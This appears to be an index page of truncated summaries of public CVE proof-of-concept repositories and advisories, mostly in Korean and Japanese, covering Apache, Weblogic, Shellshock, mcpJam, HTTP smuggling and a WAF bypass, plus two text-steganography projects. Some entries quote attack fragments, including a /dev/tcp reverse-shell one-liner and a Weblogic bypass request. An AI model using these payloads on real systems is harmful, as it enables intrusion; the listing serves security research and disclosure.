CVE-2021-42013

CVE-2021-42013 — PoC: 패스 트래버설 + modcgi를 통한 RCE 패치 우회 통제된 자체 환경에서만 사용하십시오. 승인되지 않은 시스템에 사용하지 마십시오. 설명 CVE-2021-42013 을 시연하기 위해 개발된 PoC로, Apache HTTP Server 2.4.50 에 존재합니다. 이 CVE는 Apache가 CVE-2021-41773에 대해 발표한 패치의 우회입니다. 2.4.50 버전은 이전의 경로 트래버설을 수정하기 위해 .%2e 및 %2e. 시퀀스를 거부하는 검증을 추가했습니다. 그러나 이 검증은...

CVE-2026-28318-check

SolarWinds Serv-U 인증되지 않은 DoS: 안전한 탐지 스크립트 안전하고 파괴적이지 않은 탐지기로 CVE-2026-28318 에 대한 것입니다. SolarWinds Serv-U = 15.5.4.125. 취약하지 않음. 응답했지만 Serv-U Server 헤더 없음| NOT-SERV-U not-servu| Serv-U 서버가 아니거나 프...

Weblogic_Unauthorized-bypass-RCE

CVE-2020–14882 Weblogic 未認証バイパス RCE CVE-2020-14882 Oracle Weblogic 未認証バイパス RCE テストスクリプト Python3 で動作します リクエスト POST /console/images/%252E%252E%252Fconsole.portal HTTP/1.1 Host: User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML, like Gecko Chrome/86.0.4240.111 Safari/537.3...

A flaw was found in the GLib Base64 encoding routine when processing very large input data (CVE-2026-1484)

A flaw was found in the GLib Base64 encoding routine when processing very large input data. Due to incorrect use of integer types during length calculation, the library may miscalculate buffer boundaries. This can cause memory writes outside the allocated buffer. Applications that process untrust...

PT-2026-107236

Name of the Vulnerable Software and Affected Versions Apache log4net versions 1.2.12 through 3.4.x Description Improper encoding or escaping of output occurs in the RemoteSyslogAppender. Characters outside visible ASCII and space are removed from the record instead of being escaped, causing...

PT-2026-107233

Name of the Vulnerable Software and Affected Versions Apache log4net versions 1.2.9 through 3.4.x Description Improper handling of Unicode encoding in the SmtpPickupDirAppender occurs when the mail file writer encounters content it cannot encode, such as an unpaired UTF-16 surrogate. This causes...

EUVD-2026-86348

PyMongo: PYTHON-5996 Heap out-of-bounds write via signed size overflow in BSON document encoding...

CVE-2025-55182-RCE-shell

CVE-2025-55182-RCE-shell Burp Suite/antsword - 대화형 셸 HTTP 하이재킹 + POST + AES-256-CBC/BASE64 탐지 -dnslog DNSLog 출력 없는 탐지 Nuclei -poc 취약점 에코 탐지 익스플로잇 -exp 대화형 셸 base64 에코 -exp2 대화형 셸 HTTP 하이재킹 + POST + Base64 -exp3 대화형 셸 HTTP 하이재킹 + POST + AES-256-CBC burpsuite...

CVE-2022-21449

CVE-2022-21449 Javaの「サイキック署名」に対して脆弱なアプリケーション向けに、base64署名を生成するリポジトリです。Node.js環境で実装されています😅 実行前に、https://github.com/davwwwx/elliptic からEllipticの改造版フォークをインストールしてください。 $ npm install 署名を生成する $ node index.js 脆弱なアプリケーションの例をDataDog/security-labs-pocsから入手してください -...

CVE-2019-19945_Test

CVE-2019-19945Test これは最初に提案されたCVEのコードです。 1. Docker をインストール 2. サーバーのビルド＆実行 cd Server docker build -t server/cve . docker run -d --name server -p 80:80 server/cve 3. サーバーコンテナのIPを取得 Linux sudo docker container inspect server | grep -i IPAddress Windows Powershell docker container inspect server |...

HiTMS_steganography

HiTMS: 高スループット・マルチストリーム言語ステガノグラフィフレームワーク LLMチャット対話における言語ステガノグラフィ の研究用コードです。単一ストリームのベースラインと、複数の独立した秘密メッセージを同時に隠し、GPUバッチ処理を活用してはるかに高いスループットを実現するバッチ型マルチストリーム（HiTMS）プロトコルを含みます。 Bob モデルが質問し、 Alice...

CVE-2026-66752-HTTP-Request-Smuggling-via-Unparsed-Transfer-Encoding-Values-tiny_http-

セキュリティアドバイザリ: 解析されないTransfer-Encoding値によるHTTPリクエストスモグリング（tinyhttp） 割り当て済みCVE ID: CVE-2026-66752 概要 tinyhttpは、Transfer-Encodingヘッダーが存在するかどうかのみをチェックし、その値を一切確認しません。chunkedではないコーディングや、最後の要素がchunkedではないコーディングリストを含む、あらゆる値がボディのチャンクデコードを引き起こし、同時にContent-Lengthは破棄されます。...

netty: io.netty/netty-codec-http: Netty: HTTP Request Smuggling due to improper handling of conflicting HTTP/1.0 headers

A flaw was found in Netty's HttpObjectDecoder. A remote attacker can exploit this by sending a specially crafted HTTP/1.0 request that includes both Transfer-Encoding: chunked and Content-Length headers. While Netty correctly strips the conflicting Content-Length header for HTTP/1.1 messages, thi...

CVE-2021-41773

CVE-2021-41773 CVE-2021-41773 National Vulnerability Database（NVD）のCVE-2021-41773によると、Apache HTTP Server 2.4.49はパストラバーサルおよびリモートコード実行攻撃に対して脆弱です。 パストラバーサル パストラバーサル脆弱性は、パス正規化（URLパスから不要または危険な部分を削除するため）のために追加された新しいコード変更によって導入されましたが、パストラバーサル文字「ドットドットスラッシュ（../）」のさまざまなエンコーディング手法を検出するには不十分でした。...

CVE-2021-41773

CVE-2021-41773 プレイグラウンド これは、脆弱性CVE-2021-41773を持つApache HTTPd 2.4.49のインスタンスを備えたDebian bookwormベースのコンテナをセットアップするための小さなDockerレシピです。 CGIは明示的に有効化されており、ローカルファイル開示（Local File Disclosure）動作とリモートコマンド実行（Remote Command Execution）動作のテスト/検証に使用できます。 使用方法 $ docker-compose build && docker-compose-up ローカルファイル開示 $...

CVE-2014-6271

Hellshocker 0.1.1 Shellshock 취약점 익스플로잇 도구 약한 쉘쇼크 익스플로잇을 사용하거나 단순히 "/bin/bash & /dev/tcp/IP/port 0&1" 로 서버에 침투하는 것에 지치셨나요? 네, 더 복잡한 무언가를 서버에 업로드하고 실행해야 하는데, 대용량 파일을 base64로 인코딩하면 웹 서버가 HTTP 요청을 수락하지 못할 수도 있습니다. 이 도구를 사용하면 문제가 해결될 수 있습니다. 페이로드를 base64로 인코딩하여 기본값 128바이트 크기의 청크로 웹 서버에 보낸 후, 전송이 완료되면...

CVE-2026-23744-poc

CVE-2026-23744 — mcpJam リモートコード実行 RCE エクスプロイト 本ツールは、mcpJam v1.4.2 に影響する任意のコマンド実行の脆弱性 CVE-2026-23744 に対する概念実証エクスプロイト（Python 3 製）です。このユーティリティは、送信前にコマンドを透過的に Base64 エンコードすることでペイロードの配信を自動化し、制限的な入力検証や文字フィルタリング機構を回避するのに役立ちます。ペイロードはターゲットシステム上で /bin/bash ラッパーを通じてデコードされ実行されます。 特徴 自動 Base64 ペイロードエンコーディング...

CVE-2024-38473

Apache HTTP Server modproxy 인코딩 문제 PoC Proof of Concept 이 저장소는 Apache HTTP Server 2.4.59 및 이전 버전의 modproxy 모듈에서 발생하는 인코딩 문제를 시연하기 위한 PoCProof of Concept 스크립트를 포함하고 있습니다. 이 취약점은 잘못된 인코딩이 포함된 요청 URL이 백엔드 서비스로 전송되도록 하여, 조작된 요청을 통해 인증을 우회할 가능성이 있습니다. Table of Contents 취약점 설명 설정 및 사용법 중요 고려사항 완화 방법 취약...

recipe-blog-encoding

recipe-blog-encoding !WARNING 이 프로젝트는 전적으로 vibe-coding 으로 작성되었으며 아마도 이 저장소에서 부분적으로 표절되었습니다, 작성자는 아이디어가 재미있다고 생각한 바보입니다. SEO 게임 레시피 서문을 사용하여 비밀 메시지를 인코딩하는 도구입니다 사실 프롬프트는 무엇이든 될 수 있으며, 공유 프롬프트는 인코더와 디코더가 동의하는 키일 뿐입니다. 신경 언어 스테가노그래피를 사용하여 자연스러운 텍스트에 비밀 메시지를 숨깁니다. 작동 방식 1. 인코더는 비밀 메시지와 공유 프롬프트를 받습니다...

Imperva_gzip_bypass

Imperva 웹 애플리케이션 방화벽WAF POST 요청 우회 Imperva Cloud WAF는 악성 HTTP POST 페이로드log4j 익스플로잇, SQL 인젝션, 명령 실행, 디렉토리 트래버설, XXE 등를 전송할 때 공격자가 WAF 규칙을 우회할 수 있는 취약점이 있었습니다. 해결 방법 Imperva 팀은 보고를 받은 즉시 이를 매우 진지하게 받아들였으며, 단 며칠 만에 글로벌 수정을 완료했습니다. Kudos. Cloud WAF의 모든 고객은 2021년 12월 22일 기준으로 자동 패치되었습니다. Imperva는 협력하기...